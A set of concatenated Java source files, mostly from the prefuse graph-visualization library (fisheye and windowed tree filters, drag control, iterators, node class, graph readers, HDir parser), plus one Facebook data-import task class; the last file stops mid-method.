import edu.berkeley.guir.prefuse.graph.Node;
import edu.berkeley.guir.prefuse.graph.Tree;
/**
*
* Mar 24, 2004 - jheer - Created class
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class WindowedTreeFilter extends Filter {
public static final String[] ITEM_CLASSES =
{ItemRegistry.DEFAULT_NODE_CLASS, ItemRegistry.DEFAULT_EDGE_CLASS};
public static final int DEFAULT_MIN_DOI = -2;
// determines if filtered edges are visible by default
private boolean m_edgesVisible;
private boolean m_useFocusAsRoot;
private int m_minDOI;
private Node m_root;
private List m_queue = new LinkedList();
// ========================================================================
// == CONSTRUCTORS ========================================================
public WindowedTreeFilter() {
this(DEFAULT_MIN_DOI);
} //
public WindowedTreeFilter(int minDOI) {
this(minDOI, false);
} //
public WindowedTreeFilter(int minDOI, boolean useFocusAsRoot) {
this(minDOI, useFocusAsRoot, true);
} //
public WindowedTreeFilter(int minDOI, boolean useFocusAsRoot, boolean edgesVisible) {
this(minDOI, useFocusAsRoot, edgesVisible, true);
} //
public WindowedTreeFilter(int minDOI, boolean useFocusAsRoot, boolean edgesVisible, boolean gc) {
super(ITEM_CLASSES, gc);
m_minDOI = minDOI;
m_useFocusAsRoot = useFocusAsRoot;
m_edgesVisible = edgesVisible;
} //
// ========================================================================
// == FILTER METHODS ======================================================
public void setTreeRoot(Node r) {
m_root = r;
} //
public void run(ItemRegistry registry, double frac) {
Graph graph = registry.getGraph();
boolean isTree = (graph instanceof Tree);
// initialize filtered graph
Graph fgraph = registry.getFilteredGraph();
Tree ftree = null;
if ( isTree && fgraph instanceof DefaultTree ) {
ftree = (DefaultTree)fgraph;
ftree.setRoot(null);
} else {
fgraph = ftree = new DefaultTree();
}
NodeItem froot = null;
// get the current focus node, if there is one
Iterator fiter = registry.getDefaultFocusSet().iterator();
NodeItem focus = null;
if ( fiter.hasNext() ) {
focus = registry.getNodeItem((Node)fiter.next(), true, true);
}
// determine root node for filtered tree
if ( m_root != null ) {
// someone has set a root for us to use
Node r = (m_root instanceof NodeItem ? m_root :
registry.getNodeItem(m_root,true,true));
froot = (NodeItem)r;
} else if ( focus != null && m_useFocusAsRoot ) {
// use the current focus as the root
froot = focus;
} else if ( isTree ) {
// the backing graph is a tree, so use its root
froot = registry.getNodeItem(((Tree)graph).getRoot(),true,true);
} else {
// no root is specified so let's just use the first thing we find
Iterator iter = graph.getNodes();
if ( iter.hasNext() )
froot = registry.getNodeItem((Node)iter.next(),true,true);
}
if (froot == null) {
// couldn't find any nodes, so bail!
throw new IllegalStateException("No root for the filtered tree "
+ "has been specified.");
}
ftree.setRoot(froot);
// do a breadth first crawl from the root
froot.setDOI(0);
m_queue.add(froot);
while ( !m_queue.isEmpty() ) {
NodeItem ni = (NodeItem)m_queue.remove(0);
Node n = (Node)ni.getEntity();
double doi = ni.getDOI()-1;
if ( doi >= m_minDOI ) {
Iterator iter = n.getEdges();
int i = 0;
while ( iter.hasNext() ) {
Edge ne = (Edge)iter.next();
Node nn = (Node)ne.getAdjacentNode(n);
NodeItem nni = registry.getNodeItem(nn);
boolean recurse = (nni==null || nni.getDirty()>0);
if ( recurse )
nni = registry.getNodeItem(nn, true, true);
EdgeItem nne = registry.getEdgeItem(ne,true);
if ( recurse ) {
ni.addChild(nne);
nni.setDOI(doi);
m_queue.add(nni);
} else {
nne.getFirstNode().addEdge(nne);
nne.getSecondNode().addEdge(nne);
}
}
}
} // elihw
// update the registry's filtered graph
registry.setFilteredGraph(ftree);
// optional garbage collection
super.run(registry, frac);
} //
public boolean isEdgesVisible() {
return m_edgesVisible;
} //
public void setEdgesVisible(boolean visible) {
m_edgesVisible = visible;
} //
public int getMinDOI() {
return m_minDOI;
} //
public void setMinDOI(int minDOI) {
m_minDOI = minDOI;
} //
public boolean isUseFocusAsRoot() {
return m_useFocusAsRoot;
} //
public void setUseFocusAsRoot(boolean focusAsRoot) {
m_useFocusAsRoot = focusAsRoot;
} //
} // end of class WindowedTreeFilter
<file_sep>package edu.berkeley.guir.prefuse.collections;
import java.util.Iterator;
import java.util.NoSuchElementException;
/**
* An iterator over a single element.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class SingleElementIterator implements Iterator {
private Object object;
public SingleElementIterator(Object o) {
object = o;
} //
public void remove() {
throw new UnsupportedOperationException();
} //
public boolean hasNext() {
return (object != null);
} //
public Object next() {
if (object != null) {
Object rv = object;
object = null;
return rv;
} else {
throw new NoSuchElementException();
}
} //
} // end of class SingleElementIterator
<file_sep>package vizbook.web.facebook;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.Writer;
import com.google.code.facebookapi.FacebookJsonRestClient;
import vizbook.web.WebLoggingTask;
/**
* Super class for all data import jobs from Facebook
*
*/
public abstract class FacebookDataImportTask extends WebLoggingTask {
protected FacebookJsonRestClient client;
private Writer output;
private String fileName;
private final static String OUT_DIR = System.getProperty("user.home");
protected FacebookDataImportTask(FacebookJsonRestClient client, String name, String extension) {
this.client = client;
// TODO: Examine output directory and ask to load data iff forced
try {
// TODO: Make it write to a project level directory
fileName = String.format(OUT_DIR + "%s-%d-%d.%s", name, client.users_getLoggedInUser(), System.currentTimeMillis(), extension);
output = new PrintWriter(new File(fileName));
} catch(Exception e) {
logError("Could not create output file: " + e.getMessage());
}
}
protected void write(String line) throws IOException {
if(output != null) output.write("\n" + line);
}
/**
* All data import tasks must implement this method
*/
protected abstract void fetchData();
@Override
public void task() {
log("Starting data import... Please be patient and don't close this window.");
fetchData();
// cleanup
if(output != null) {
try {
output.flush();
output.close();
//TODO: Write secret done message here
log("Output is ready at: " + fileName);
} catch (IOException e) {
logError("Could not close output file: " + e.getLocalizedMessage());
}
}
}
}
<file_sep>package edu.berkeley.guir.prefusex.controls;
import java.awt.Cursor;
import java.awt.event.MouseEvent;
import java.awt.geom.Point2D;
import javax.swing.SwingUtilities;
import edu.berkeley.guir.prefuse.Display;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.activity.Activity;
import edu.berkeley.guir.prefuse.event.ControlAdapter;
/**
* Changes a node's location when dragged on screen. Other effects
* include fixing a node's position when the mouse if over it, and
* changing the mouse cursor to a hand when the mouse passes over an
* item.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DragControl extends ControlAdapter {
private VisualItem activeItem;
protected Activity update;
protected Point2D down = new Point2D.Double();
protected Point2D tmp = new Point2D.Double();
protected boolean dragged;
private boolean fixOnMouseOver = false;
protected boolean repaint = true;
/**
* Creates a new drag control that issues repaint requests as an item
* is dragged.
*/
public DragControl() {
} //
/**
* Creates a new drag control that optionally issues repaint requests
* as an item is dragged.
* @param repaint indicates whether or not repaint requests are issued
* as drag events occur. This can be set to false if other activities
* (for example, a continuously running force simulation) are already
* issuing repaint events.
*/
public DragControl(boolean repaint) {
this.repaint = repaint;
} //
/**
* Creates a new drag control that optionally issues repaint requests
* as an item is dragged.
* @param repaint indicates whether or not repaint requests are issued
* as drag events occur. This can be set to false if other activities
* (for example, a continuously running force simulation) are already
* issuing repaint events.
* @param fixOnMouseOver indicates if object positions should become
* fixed (made stationary) when the mouse pointer is over an item.
*/
public DragControl(boolean repaint, boolean fixOnMouseOver) {
this.repaint = repaint;
this.fixOnMouseOver = fixOnMouseOver;
} //
public DragControl(Activity update) {
this.repaint = false;
this.update = update;
} //
public DragControl(Activity update, boolean fixOnMouseOver) {
this.repaint = false;
this.fixOnMouseOver = fixOnMouseOver;
this.update = update;
} //
/**
* Determines whether or not an item should have it's position fixed
* when the mouse moves over it.
* @param s whether or not item position should become fixed upon
* mouse over.
*/
public void setFixPositionOnMouseOver(boolean s) {
fixOnMouseOver = s;
} //
public void itemEntered(VisualItem item, MouseEvent e) {
if (!(item instanceof NodeItem)) return;
Display d = (Display)e.getSource();
d.setCursor(Cursor.getPredefinedCursor(Cursor.HAND_CURSOR));
activeItem = item;
if ( fixOnMouseOver )
item.setFixed(true);
} //
public void itemExited(VisualItem item, MouseEvent e) {
if (!(item instanceof NodeItem)) return;
if ( activeItem == item ) {
activeItem = null;
if ( fixOnMouseOver )
item.setFixed(item.wasFixed());
}
Display d = (Display)e.getSource();
d.setCursor(Cursor.getDefaultCursor());
} //
public void itemPressed(VisualItem item, MouseEvent e) {
if (!(item instanceof NodeItem)) return;
if (!SwingUtilities.isLeftMouseButton(e)) return;
if ( !fixOnMouseOver )
item.setFixed(true);
dragged = false;
Display d = (Display)e.getComponent();
down = d.getAbsoluteCoordinate(e.getPoint(), down);
} //
public void itemReleased(VisualItem item, MouseEvent e) {
if (!(item instanceof NodeItem)) return;
if (!SwingUtilities.isLeftMouseButton(e)) return;
if ( !fixOnMouseOver )
item.setFixed(item.wasFixed());
if ( dragged )
dragged = false;
} //
public void itemDragged(VisualItem item, MouseEvent e) {
if (!(item instanceof NodeItem)) return;
if (!SwingUtilities.isLeftMouseButton(e)) return;
dragged = true;
Display d = (Display)e.getComponent();
tmp = d.getAbsoluteCoordinate(e.getPoint(), tmp);
double dx = tmp.getX()-down.getX();
double dy = tmp.getY()-down.getY();
Point2D p = item.getLocation();
item.updateLocation(p.getX()+dx,p.getY()+dy);
item.setLocation(p.getX()+dx,p.getY()+dy);
down.setLocation(tmp);
if ( repaint )
item.getItemRegistry().repaint();
if ( update != null )
update.runNow();
} //
} // end of class DragControl
<file_sep>package edu.berkeley.guir.prefuse.graph;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.NoSuchElementException;
import edu.berkeley.guir.prefuse.collections.NodeIterator;
/**
* Represents a node in a graph.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DefaultNode extends DefaultEntity implements Node {
protected List m_edges;
/**
* Default constructor. Creates a new unconnected node.
*/
public DefaultNode() {
m_edges = new ArrayList(3);
} //
/**
* Adds an edge connecting this node to another node. The edge is added to
* the end of this node's internal list of edges.
* @param e the Edge to add
* @return true if the edge was added, false if the edge connects to a
* node that is alrady a neighbor of this node.
* @see edu.berkeley.guir.prefuse.graph.Node#addEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addEdge(Edge e) {
return addEdge(m_edges.size(), e);
} //
/**
* Adds an edge connecting this node to another node at the specified
* index.
* @param idx the index at which to insert the edge
* @param e the Edge to add
* @return true if the edge was added, false if the edge connects to a
* node that is alrady a neighbor of this node.
* @see edu.berkeley.guir.prefuse.graph.Node#addEdge(int, edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addEdge(int idx, Edge e) {
if ( e.isDirected() && this != e.getFirstNode() ) {
throw new IllegalArgumentException("Directed edges must have the "
+ "source as the first node in the Edge.");
}
Node n = e.getAdjacentNode(this);
if ( n == null ) {
throw new IllegalArgumentException(
"The Edge must be incident on this Node.");
}
if ( isNeighbor(n) )
return false;
m_edges.add(idx,e);
return true;
} //
/**
* Returns the edge at the specified index.
* @param idx the index at which to retrieve the edge
* @return the requested Edge
* @see edu.berkeley.guir.prefuse.graph.Node#getEdge(int)
*/
public Edge getEdge(int idx) {
return (Edge)m_edges.get(idx);
} //
/**
* Returns the edge connected to the given neighbor node.
* @param n the neighbor node for which to retrieve the edge
* @return the requested Edge
* @throws NoSuchElementException if the given node is not a neighbor of
* this node.
* @see edu.berkeley.guir.prefuse.graph.Node#getEdge(edu.berkeley.guir.prefuse.graph.Node)
*/
public Edge getEdge(Node n) {
for ( int i=0; i < m_edges.size(); i++ ) {
Edge e = (Edge)m_edges.get(i);
if ( n == e.getAdjacentNode(this) )
return e;
}
throw new NoSuchElementException();
} //
/**
* Returns the number of edges adjacent to this node.
* @return the number of adjacent edges. This is the same as the number
* of neighbor nodes connected to this node.
* @see edu.berkeley.guir.prefuse.graph.Node#getEdgeCount()
*/
public int getEdgeCount() {
return m_edges.size();
} //
/**
* Returns an iterator over all edges adjacent to this node.
* @return an iterator over all adjacent edges.
* @see edu.berkeley.guir.prefuse.graph.Node#getEdges()
*/
public Iterator getEdges() {
return m_edges.iterator();
} //
/**
* Returns the index, or position, of an incident edge. Returns -1 if the
* input edge is not incident on this node.
* @param e the edge to find the index of
* @return the edge index, or -1 if this edge is not incident
*/
public int getIndex(Edge e) {
return m_edges.indexOf(e);
} //
/**
* Returns the index, or position, of a neighbor node. Returns -1 if the
* input node is not a neighbor of this node.
* @param n the node to find the index of
* @return the node index, or -1 if this node is not a neighbor
*/
public int getIndex(Node n) {
for ( int i=0; i < m_edges.size(); i++ ) {
if ( n == ((Edge)m_edges.get(i)).getAdjacentNode(this) )
return i;
}
return -1;
} //
/**
* Returns the i'th neighbor of this node.
* @param idx the index of the neighbor in the neighbor list.
* @return the neighbor node at the specified position
*/
public Node getNeighbor(int idx) {
return ((Edge)m_edges.get(idx)).getAdjacentNode(this);
} //
/**
* Returns an iterator over all neighbor nodes of this node.
* @return an iterator over this node's neighbors.
*/
public Iterator getNeighbors() {
return new NodeIterator(m_edges.iterator(), this);
} //
/**
* Indicates if a given edge is not only incident on this node
* but stored in this node's internal list of edges.
* @param e the edge to check for incidence
* @return true if the edge is incident on this node and stored in this
* node's internal list of edges, false otherwise.
* @see edu.berkeley.guir.prefuse.graph.Node#isIncidentEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean isIncidentEdge(Edge e) {
return ( m_edges.indexOf(e) > -1 );
} //
/**
* Indicates if a given node is a neighbor of this one.
* @param n the node to check as a neighbor
* @return true if the node is a neighbor, false otherwise
*/
public boolean isNeighbor(Node n) {
return ( getIndex(n) > -1 );
} //
/**
* Removes all edges incident on this node.
*/
public void removeAllNeighbors() {
m_edges.clear();
} //
/**
* Remove the given edge as an incident edge on this node
* @param e the edge to remove
* @return true if the edge was found and removed, false otherwise
*/
public boolean removeEdge(Edge e) {
int idx = m_edges.indexOf(e);
return ( idx>-1 ? m_edges.remove(idx)!=null : false );
} //
/**
* Remove the incident edge at the specified index.
* @param idx the index at which to remove an edge
*/
public Edge removeEdge(int idx) {
return (Edge)m_edges.remove(idx);
} //
/**
* Remove the given node as a neighbor of this node. The edge connecting
* the nodes is also removed.
* @param n the node to remove
* @return true if the node was found and removed, false otherwise
*/
public boolean removeNeighbor(Node n) {
for ( int i=0; i < m_edges.size(); i++ ) {
if ( n == ((Edge)m_edges.get(i)).getAdjacentNode(this) )
return m_edges.remove(i) != null;
}
return false;
} //
/**
* Remove the neighbor node at the specified index.
* @param idx the index at which to remove a node
*/
public Node removeNeighbor(int idx) {
return ((Edge)m_edges.remove(idx)).getAdjacentNode(this);
} //
} // end of class DefaultNode
<file_sep>package edu.berkeley.guir.prefuse.graph.io;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import edu.berkeley.guir.prefuse.graph.Graph;
/**
* Interface by which to read in Graph instances from stored files.
*
* May 21, 2003 - jheer - Created class
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public interface GraphReader {
/**
* Load a graph from the file with the given filename.
* @param filename the file to load the graph from
* @return the loaded Graph
* @throws FileNotFoundException
* @throws IOException
*/
public Graph loadGraph(String filename) throws FileNotFoundException, IOException;
/**
* Load a graph from the given URL.
* @param url the url to load the graph from
* @return the loaded Graph
* @throws IOException
*/
public Graph loadGraph(URL url) throws IOException;
/**
* Load a graph from the given File.
* @param f the file to load the graph from
* @return the loaded Graph
* @throws FileNotFoundException
* @throws IOException
*/
public Graph loadGraph(File f) throws FileNotFoundException, IOException;
/**
* Load a graph from the given InputStream.
* @param is the InputStream to load the graph from
* @return the loaded Graph
* @throws IOException
*/
public Graph loadGraph(InputStream is) throws IOException;
} // end of interface GraphReader
<file_sep>package edu.berkeley.guir.prefuse.action.filter;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.EdgeItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.collections.SingleElementIterator;
import edu.berkeley.guir.prefuse.graph.DefaultTree;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Graph;
import edu.berkeley.guir.prefuse.graph.Node;
import edu.berkeley.guir.prefuse.graph.Tree;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* <p>Filters nodes in a tree using the original Furnas fisheye calculation,
* and sets DOI (degree-of-interest) values for each filtered node. This
* function filters current focus nodes, and includes neighbors only in a
* limited window around these foci. The size of this window is determined
* by the minimum DOI value set for this action. All ancestors of a focus up
* to the root of the tree are considered foci as well. By convention, DOI
* values start at zero for focus nodes, and becoming decreasing negative
* numbers for each hop away from a focus. This filter also performs garbage
* collection of node items by default.</p>
*
* <p>For more information about Furnas' fisheye view calculation and DOI values,
* take a look at <NAME>, "The FISHEYE View: A New Look at Structured
* Files," Bell Laboratories Tech. Report, Murray Hill, New Jersey, 1981.
* Available online at <a href="http://citeseer.nj.nec.com/furnas81fisheye.html">
* http://citeseer.nj.nec.com/furnas81fisheye.html</a>.</p>
*
* <p>For a more recent example of fisheye views and DOI functions in information
* visualization check out S.K. Card and D. Nation. "Degree-of-Interest
* Trees: A Component of an Attention-Reactive User Interface," Advanced
* Visual Interfaces, Trento, Italy, 2002. Available online at
* <a href="http://www2.parc.com/istl/projects/uir/pubs/items/UIR-2002-11-Card-AVI-DOITree.pdf">
* http://www2.parc.com/istl/projects/uir/pubs/items/UIR-2002-11-Card-AVI-DOITree.pdf</a>
* </p>
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> - prefuse(AT)jheer.org
*/
public class FisheyeTreeFilter extends Filter {
public static final String[] ITEM_CLASSES =
{ItemRegistry.DEFAULT_NODE_CLASS, ItemRegistry.DEFAULT_EDGE_CLASS};
public static final int DEFAULT_MIN_DOI = -2;
public static final String ATTR_CENTER = "center";
private int m_minDOI;
private boolean m_edgesVisible = true;
private Node m_froot;
// temporary member variables
private ItemRegistry m_registry;
private double m_localDOIDivisor;
private TreeNode m_root;
// ========================================================================
// == CONSTRUCTORS ========================================================
public FisheyeTreeFilter() {
this(DEFAULT_MIN_DOI);
} //
public FisheyeTreeFilter(int minDOI) {
this(minDOI, true);
} //
public FisheyeTreeFilter(int minDOI, boolean edgesVisible) {
this(minDOI, edgesVisible, true);
} //
public FisheyeTreeFilter(int minDOI, boolean edgesVisible, boolean gc) {
super(ITEM_CLASSES, gc);
m_edgesVisible = edgesVisible;
m_minDOI = minDOI;
} //
// ========================================================================
// == FILTER METHODS ======================================================
public void setTreeRoot(Node r) {
m_froot = r;
} //
/**
* Returns an iterator over the Entities in the default focus set.
* Override this method to control what Entities are passed to the
* filter as foci of the fisheye.
*/
protected Iterator getFoci(ItemRegistry registry) {
Iterator iter = registry.getDefaultFocusSet().iterator();
if ( !iter.hasNext() )
iter = new SingleElementIterator(m_root);
return iter;
} //
/**
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
// initialize temp member variables, get the backing graph
m_registry = registry;
Graph graph = registry.getGraph();
if ( !(graph instanceof Tree) ) {
throw new IllegalStateException("The FisheyeTreeFilter requires "
+ "that the backing graph returned by registry.getGraph() is "
+ "a Tree instance.");
}
Tree tree = (Tree)graph;
m_localDOIDivisor = tree.getNodeCount();
m_root = tree.getRoot();
// set up the filtered graph
Graph fgraph = registry.getFilteredGraph();
Tree ftree = null;
if ( fgraph instanceof DefaultTree ) {
ftree = (DefaultTree)fgraph;
ftree.setRoot(null);
} else {
fgraph = ftree = new DefaultTree();
}
// compute the fisheye over nodes
Iterator focusIter = getFoci(registry);
while ( focusIter.hasNext() ) {
Object focus = focusIter.next();
if ( !(focus instanceof TreeNode) ) continue;
TreeNode fnode = (TreeNode)focus;
NodeItem fitem = registry.getNodeItem(fnode);
boolean recurse = false;
recurse = ( fitem==null || fitem.getDirty()>0 || fitem.getDOI()<0 );
fitem = registry.getNodeItem(fnode, true, true);
if ( recurse ) {
setDOI(fitem, 0, 0);
if ( (int)fitem.getDOI() > m_minDOI ) {
visitDescendants(fnode, fitem, null);
}
visitAncestors(fnode, fitem);
}
}
// filter edges and build the filtered tree
ftree.setRoot(registry.getNodeItem(m_root));
Iterator nodeIter = registry.getNodeItems();
while ( nodeIter.hasNext() ) {
NodeItem item = (NodeItem)nodeIter.next();
Node node = (Node)item.getEntity();
Iterator edgeIter = node.getEdges();
while ( edgeIter.hasNext() ) {
Edge edge = (Edge)edgeIter.next();
Node n = edge.getAdjacentNode(node);
// check if this is a filtered node
if ( !registry.isVisible(n) ) continue;
// filter the edge
EdgeItem eitem = registry.getEdgeItem(edge, true);
if ( edge.isTreeEdge() ) {
TreeNode c = (TreeNode)eitem.getAdjacentNode(item);
TreeNode p = (TreeNode)(c.getParent()==item?item:c);
p.addChild(eitem);
} else {
eitem.getFirstNode().addEdge(eitem);
eitem.getSecondNode().addEdge(eitem);
}
if ( !m_edgesVisible ) eitem.setVisible(false);
}
}
// clear temp member vars
m_registry = null;
m_root = null;
// update the registry's filtered graph
registry.setFilteredGraph(ftree);
// optional garbage collection
super.run(registry, frac);
} //
protected void visitDescendants(TreeNode node, NodeItem item, TreeNode skip) {
int lidx = ( skip == null ? getCenter(item) : node.getChildIndex(skip) );
Iterator childIter = node.getChildren();
int i = 0;
while ( childIter.hasNext() ) {
TreeNode cnode = (TreeNode)childIter.next();
if ( cnode == skip ) { continue; }
NodeItem citem = m_registry.getNodeItem(cnode, true, true);
setDOI(citem, (int)item.getDOI()-1, Math.abs(lidx-i));
if ( (int)citem.getDOI() > m_minDOI ) {
visitDescendants(cnode, citem, null);
}
i++;
}
} //
protected void visitAncestors(TreeNode node, NodeItem item) {
if ( node.getParent() == null || node == m_root ) { return; }
TreeNode pnode = node.getParent();
NodeItem pitem = m_registry.getNodeItem(pnode);
boolean recurse = false;
recurse = ( pitem==null || pitem.getDirty()>0 || pitem.getDOI()<0 );
pitem = m_registry.getNodeItem(pnode, true, true);
if ( recurse ) {
setDOI(pitem, 0, 0);
if ( (int)pitem.getDOI() > m_minDOI ) {
visitDescendants(pnode, pitem, node);
}
visitAncestors(pnode, pitem);
}
} //
protected void setDOI(NodeItem item, int doi, int ldist) {
double localDOI = -ldist / (double)Math.min(1000.0,m_localDOIDivisor);
item.setDOI(doi+localDOI);
} //
private int getCenter(NodeItem item) {
TreeNode node = (TreeNode)item.getVizAttribute(ATTR_CENTER);
if ( node != null ) {
TreeNode parent = (TreeNode)item.getEntity();
int idx = parent.getChildIndex(node);
if ( idx > -1 )
return idx;
}
return 0;
} //
} // end of class FisheyeTreeFilter
<file_sep>package edu.berkeley.guir.prefuse.action.animate;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.action.AbstractAction;
/**
* Linearly interpolates the size of a VisualItem.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class SizeAnimator extends AbstractAction {
public static final String ATTR_ANIM_FRAC = "animationFrac";
/**
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
double ss, es, s;
Iterator itemIter = registry.getItems();
while ( itemIter.hasNext() ) {
VisualItem item = (VisualItem)itemIter.next();
ss = item.getStartSize();
es = item.getEndSize();
s = ss + frac * (es - ss);
item.setSize(s);
}
} //
} // end of class SizeAnimator
<file_sep>package edu.berkeley.guir.prefuse.collections;
import java.util.Iterator;
import java.util.List;
import java.util.ListIterator;
/**
* Iterator that traverses a list in reverse.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ReverseListIterator implements Iterator {
ListIterator m_iter;
/**
* Constructor.
* @param list the list to traverse in reverse
*/
public ReverseListIterator(List list) {
m_iter = list.listIterator();
// we shouldn't have to do this... but things weren't working properly
// when attempting to use the previous() method right off the bat.
while ( m_iter.hasNext() ) { m_iter.next(); }
} //
/**
* @see java.util.Iterator#remove()
*/
public void remove() {
throw new UnsupportedOperationException("Remove not supported");
} //
/**
* @see java.util.Iterator#hasNext()
*/
public boolean hasNext() {
return m_iter.hasPrevious();
} //
/**
* @see java.util.Iterator#next()
*/
public Object next() {
return m_iter.previous();
} //
} // end of class ReverseListIterator
<file_sep>package edu.berkeley.guir.prefuse.collections;
import java.util.Iterator;
import java.util.NoSuchElementException;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Node;
/**
* Provides an iterator over nodes backed by an iteration of edges.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class NodeIterator implements Iterator {
private Iterator edgeIter;
private Node node;
public NodeIterator(Iterator edgeIterator, Node sourceNode) {
edgeIter = edgeIterator;
node = sourceNode;
} //
/**
* This operation is not currently supported.
*/
public void remove() {
throw new UnsupportedOperationException();
} //
/**
* @see java.util.Iterator#hasNext()
*/
public boolean hasNext() {
return edgeIter.hasNext();
} //
/**
* @see java.util.Iterator#next()
*/
public Object next() {
if ( !edgeIter.hasNext() )
throw new NoSuchElementException();
Edge e = (Edge)edgeIter.next();
return e.getAdjacentNode(node);
} //
} // end of class NodeIterator
<file_sep>package edu.berkeley.guir.prefuse.graph.io;
import java.io.*;
import java.util.*;
import edu.berkeley.guir.prefuse.graph.DefaultEdge;
import edu.berkeley.guir.prefuse.graph.DefaultTree;
import edu.berkeley.guir.prefuse.graph.DefaultTreeNode;
import edu.berkeley.guir.prefuse.graph.Tree;
/**
* Reads in trees from HDir formatted files.
*
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class HDirTreeReader extends AbstractTreeReader {
private Vector fieldNameList;
private String textFieldName = "label";
private int levels;
private double sizes;
private double isizes;
private String HREFs;
private String types;
private String TEXTs;
private boolean isdir;
private int dircnt;
private double dirtotal;
private double areimages;
private double areaudio;
private double arehtml;
private String dirfile;
private int yvals;
private int dirvals;
private boolean istext;
private boolean isdisplayed;
private boolean isopen;
private boolean searchHit;
private StreamTokenizer t = null;
private double totalsize = 0; // ** size on HDIR line
private String HREFserver;
private String HREFbase;
private int index = 0;
private int count = 0;
private DefaultTreeNode root;
/**
* @see edu.berkeley.guir.prefuse.graph.io.TreeReader#loadTree(java.io.InputStream)
*/
public Tree loadTree(InputStream is) throws IOException {
count = 0;
fieldNameList = new Vector();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
readDataFile(br);
System.out.println("Read in tree with "+(root.getDescendantCount()+1)+" nodes.");
return new DefaultTree(root);
} //
//// =====================================================================
//// == FILE PARSING METHODS =============================================
public void readDataFile(BufferedReader d) {
String line, value;
String aTEXT;
int currentLevel = 0;
fieldNameList.addElement(textFieldName);
//Restrictions on data format:
// <R> and <D> items must not be broken into multiple lines
index = -1; // initialize index value
DefaultTreeNode node = null;
boolean firstTime = true;
int c, c2;
try {
t = new StreamTokenizer(d);
t.resetSyntax();
t.whitespaceChars(0, ' ');
t.quoteChar('"');
t.wordChars('a', 'z');
t.wordChars('A', 'Z');
t.wordChars('\'', '\'');
t.wordChars('\\', '\\');
t.wordChars('/', '/');
t.wordChars('(', '(');
t.wordChars(')', ')');
t.wordChars('0', '9');
t.wordChars('.', '.');
t.wordChars('+', '+');
t.wordChars('-', '-');
t.wordChars(':', ':');
t.wordChars(';', ';');
t.wordChars('~', '~');
t.wordChars('*', '*');
t.wordChars('#', '#');
t.wordChars('<', '<');
t.ordinaryChars('>', '>');
t.ordinaryChars(',', ',');
out : while (true) {
switch (c = t.nextToken()) {
case StreamTokenizer.TT_EOF :
break out;
case '"' :
case StreamTokenizer.TT_WORD :
String Tag = t.sval.toLowerCase();
if (Tag.equals("<hdir")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (c2 == '<') {
t.pushBack();
break;
} else if (c2 == StreamTokenizer.TT_WORD) {
if (t.sval.startsWith("<"))
t.pushBack();
else
totalsize =
Double.valueOf(t.sval).doubleValue();
} else {
t.pushBack();
break;
}
} else if (Tag.equals("</hdir")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
} else if (Tag.equals("<server")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
if (((c2 = t.nextToken())
== StreamTokenizer.TT_WORD)
|| (c2 == '"'))
HREFserver = t.sval;
} else if (Tag.equals("<base")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
if (((c2 = t.nextToken())
== StreamTokenizer.TT_WORD)
|| (c2 == '"'))
HREFbase = t.sval;
} else if (Tag.equals("<directorytree")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
//directorytree=true;
//dironside=true;
} else if (Tag.equals("<r")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
index += 1;
levels = currentLevel;
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (c2 == StreamTokenizer.TT_WORD)
sizes = Double.valueOf(t.sval).doubleValue();
else {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) != ',') {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (
(c2 == StreamTokenizer.TT_WORD) || (c2 == '"'))
HREFs = t.sval;
else {
t.pushBack();
break;
}
